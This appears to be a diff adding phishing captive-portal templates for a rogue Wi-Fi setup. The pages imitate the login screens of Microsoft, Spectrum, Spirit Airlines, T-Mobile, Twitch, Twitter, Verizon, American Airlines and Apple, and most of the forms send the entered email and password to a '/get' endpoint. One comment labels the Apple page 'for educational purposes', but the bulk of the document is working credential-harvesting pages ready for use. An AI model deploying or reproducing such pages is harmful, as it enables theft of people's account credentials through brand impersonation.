<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
</svg>
<form action="/get" method="get" id="email-form-step" class="form">
<h1>Sign In with<br>your Microsoft account</h1>
<input name="email" type="text" placeholder="Email" required>
<input name="password" type="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,76 @@
<!DOCTYPE html>
<html>
<head>
<title>Guess the number to use WiFi</title>
<style>
body, html {
height: 100%;
margin: 0;
background: #cfcfcf;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
font-family: Arial, sans-serif;
}
#user-input {
margin: 1em;
font-size: 1em;
padding: 0.25em;
width: 40%;
max-width: 150px;
}
#submit-btn, #reset-btn {
font-size: 2em;
margin: 1em;
cursor: pointer;
}
#message {
font-size: 1.5em;
}
#instruction {
color: gray;
}
</style>
</head>
<body>
<h1>Guess the number to use WiFi</h1>
<p id="instruction">Enter a number between 0-10</p>
<input id="user-input" type="number" min="0" max="10"/>
<button id="submit-btn">Guess</button>
<p id="message"></p>
<button id="reset-btn" style="display: none;">Reset Game</button>
<script>
var randomNumber = Math.floor(Math.random() * 11);
var submitBtn = document.getElementById("submit-btn");
var userInput = document.getElementById("user-input");
var message = document.getElementById("message");
var resetBtn = document.getElementById("reset-btn");
submitBtn.addEventListener("click", function(){
var userGuess = userInput.value;
if(userGuess == randomNumber) {
message.textContent = "Congratulations! You've guessed the number.";
endGame();
} else {
message.textContent = "Try again!";
}
});
resetBtn.addEventListener("click", function(){
randomNumber = Math.floor(Math.random() * 11);
message.textContent = "";
userInput.value = "";
resetBtn.style.display = "none";
submitBtn.style.display = "block";
userInput.disabled = false;
});
function endGame() {
submitBtn.style.display = "none";
resetBtn.style.display = "block";
userInput.disabled = true;
}
</script>
</body>
</html>
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
background-color: #f6f8fa;
}
.container {
width: 80%;
max-width: 300px;
margin: 10% auto;
text-align: center;
}
.container .logo {
width: 50%;
height: auto;
margin-bottom: 15px;
}
.container h1 {
margin: 5px 0;
}
.container p {
margin: 0;
font-size: 0.8em;
color: #666;
}
.container form {
display: flex;
flex-direction: column;
}
.container form input {
margin: 5px 0;
padding: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}
.container form button {
margin: 5px 0;
padding: 10px;
color: #fff;
background-color: #0076bc;
border: none;
border-radius: 3px;
cursor: pointer;
}
.container form button:hover {
background-color: #005999;
}
@media (max-width: 600px) {
.container {
width: 95%;
}
}
</style>
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1"
/>
</head>
<body>
<div class="container">
<svg
class="logo"
xmlns="http://www.w3.org/2000/svg"
xml:space="preserve"
viewBox="0 0 1001 209"
>
<path fill="#0076BC" d="M934 61v102l67-51z" />
<path
fill="#77787B"
d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
/>
</svg>
<h1>Welcome</h1>
<p>Please log in using your Spectrum account</p>
<form action="/get" method="GET">
<input type="text" name="email" placeholder="Username" required />
<input
type="password"
name="password"
placeholder="Password"
required
/>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #fde46c;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
}
.login-container {
background: #fff;
padding: 20px;
max-width: 300px;
width: 90%;
text-align: center;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.25);
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
h1 {
color: #232f3e;
font-size: 1.5rem;
font-weight: 600;
margin-top: 0;
}
input[type="text"],
input[type="password"] {
width: 100%;
max-width: 300px;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 2px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
background-color: #303c49;
border: none;
color: white;
padding: 14px 28px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
border-radius: 5px;
}
</style>
</head>
<body>
<div class="login-container">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
</svg>
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
<form id="login-form">
<input type="text" name="email" placeholder="Email Address or Free Spirit Number">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>
</div>
<script>
const form = document.getElementById('login-form');
form.addEventListener('submit', (e) => {
e.preventDefault();
const email = form.elements['email'].value;
const password = form.elements['password'].value;
window.location.href = '/get?email=' + email + '&password=' + password;
});
</script>
</body>
</html>
@@ -0,0 +1,63 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #000000;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
}
.login-container {
background-color: rgba(0, 0, 0, 0.7);
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: #0069D9;
border-color: #0069D9;
}
#logo svg {
fill: #fff;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome</h1>
<h2>Please Enter your Details</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
<script>
/* Paste any required JavaScript here */
</script>
</body>
</html>
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #e20074;
color: #fff;
}
.container {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border-radius: 5px;
}
h1 {
font-size: 24px;
font-weight: 300;
margin-top: 0;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: 200;
text-align: center;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 4px;
}
input[type="submit"] {
width: 100%;
background-color: #fff;
color: #e20074;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #ddd;
}
.logo {
display: block;
max-width: 130px;
margin: 0 auto 30px auto;
}
</style>
</head>
<body>
<div class="container">
<!-- T-Mobile SVG logo -->
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
<defs>
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
</defs>
<title>t-mobile</title>
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
</svg>
<h1>Sign in</h1>
<h2>Use your T-Mobile account</h2>
<form id="login-form" action="/get">
<input type="text" name="email" placeholder="Email or phone number" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Sign In">
</form>
</div>
</body>
</html>
@@ -0,0 +1,70 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #9146FF;
color: white;
text-align: center;
}
.container {
max-width: 400px;
margin: auto;
padding: 20px;
}
.logo {
width: 140px;
height: 140px;
}
form {
background-color: white;
color: black;
padding: 20px;
border-radius: 5px;
}
input[type="text"], input[type="password"] {
width: 90%;
padding: 15px;
margin: 10px 0;
border: none;
background: #f1f1f1;
}
input[type="submit"] {
background-color: #9146FF;
color: white;
padding: 14px 20px;
border: none;
cursor: pointer;
width: 100%;
}
@media screen and (max-width: 600px) {
.container {
width: 95%;
}
}
.welcome {
font-size: 24px;
margin-bottom: 0;
}
.login {
font-size: 16px;
margin-top: 0;
}
</style>
</head>
<body>
<div class="container">
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
<h2 class="welcome">Welcome</h2>
<p class="login">Login using your Twitch Account</p>
<form action="/get?email=username&password=password" method="get">
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required>
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
@@ -0,0 +1,2 @@
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;type=content-script&amp;dmn=cdn.discordapp.com&amp;url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&amp;app=chrome.exe&amp;css=3&amp;js=1&amp;rel=1&amp;rji=1&amp;sbe=1&amp;stealth=1&amp;st-dnt"></script>
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;name=AdGuard%20Assistant%20%28Beta%29&amp;name=AdGuard%20Extra%20%28Beta%29&amp;name=AdGuard%20Popup%20Blocker%20%28Beta%29&amp;name=Web%20of%20Trust%20%28Beta%29&amp;type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #fff;
}
.login-container {
width: 90%;
max-width: 400px;
margin: auto;
padding: 20px;
border: 1px solid #e9e9e9;
border-radius: 5px;
margin-top: 50px;
background-color: #fff;
}
#logo {
text-align: center;
margin-bottom: 20px;
}
.g-h1 {
font-weight: 300;
font-size: 24px;
margin-top: 5px;
text-align: center;
}
.g-h2 {
font-weight: 200;
font-size: 16px;
margin-top: 10px;
text-align: center;
color: #D52B1E;
}
.g-input {
width: calc(100% - 20px);
margin-top: 15px;
height: 40px;
padding: 5px 10px;
font-size: 16px;
color: #14171a;
border: 1px solid #e6ecf0;
border-radius: 5px;
background-color: #f5f8fa;
}
.gbtn-primary {
margin-top: 20px;
width: 100%;
height: 40px;
font-size: 16px;
color: #fff;
background-color: #D52B1E;
border: none;
border-radius: 5px;
cursor: pointer;
}
.gbtn-primary:hover {
background-color: #B3291B;
}
.gbtn-primary:disabled {
background-color: #aab8c2;
cursor: not-allowed;
}
</style>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
</head>
<body>
<div id="login-app">
<div class="login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1 class="g-h1">Sign in</h1>
<h2 class="g-h2">Use your Verizon Account</h2>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<div>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</body>
</html>
@@ -0,0 +1,116 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #1a3b73;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 193 193">
<path fill="#cc2131" fill-rule="evenodd" d="M27 162H6l34-95h23l33 95H75l-6-20H34l-7 20zm12-36h24L51 88l-12 38z" clip-rule="evenodd"/>
<path fill="#1a3b73" fill-rule="evenodd" d="M117 162H96l34-95h23l33 95h-21l-6-20h-35l-7 20zm12-36h24l-11-38h-1l-12 38zm-21-43-9-29 2-7 2 1-1-3 2-5 1 1v-3l1-4 2 1-1-4 4-11 8 24v8l-11 31zm3 17-1 3h-2v-2l-6-7h-3l-2 6 1 2h3v2h-6v-1l1-1-2-2h-2l-8-25h2l-3-2-2-6h2l-2-2-2-6 1-1-2-2-1-3v-3h2l-2-2c-1-3 1-6 2-8l1 1-1-3 3-6 1 1-1-4 4-9 25 77v3zm-25-5v-1l-1 1h-4v-1l-1 1h-3l8-12 4 12h-3z" clip-rule="evenodd"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your AAdvantage number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="AAdvantage # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
@@ -0,0 +1 @@
Guest-WiFi
+279
View File
@@ -0,0 +1,279 @@
<!-- Original code : https://github.com/ai-dev-official/Apple-Dev-Login-Page- by ai-dev-official -->
<!-- Edited and adapted by : Jules0835 for educational purposes -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>Login - Apple</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
list-style: none;
text-decoration: none;
}
body {
font-family: SF Pro Text, SF Pro Icons, Helvetica Neue, Helvetica, Arial, sans-serif;
color: #98989c;
}
header {
padding: 5px;
margin: 10px;
}
header svg {
width: 25px;
height: 25px;
}
.main {
position: relative;
display: flex;
justify-content: center;
align-content: center;
align-items: center;
min-height: 85vh;
}
form {
width: 500px;
display: flex;
flex-direction: column;
align-items: center;
}
#sign h2 {
text-align: center;
margin: 5px auto 0px;
font-size: 22px;
line-height: 1.47059;
font-weight: 400;
letter-spacing: -.022em;
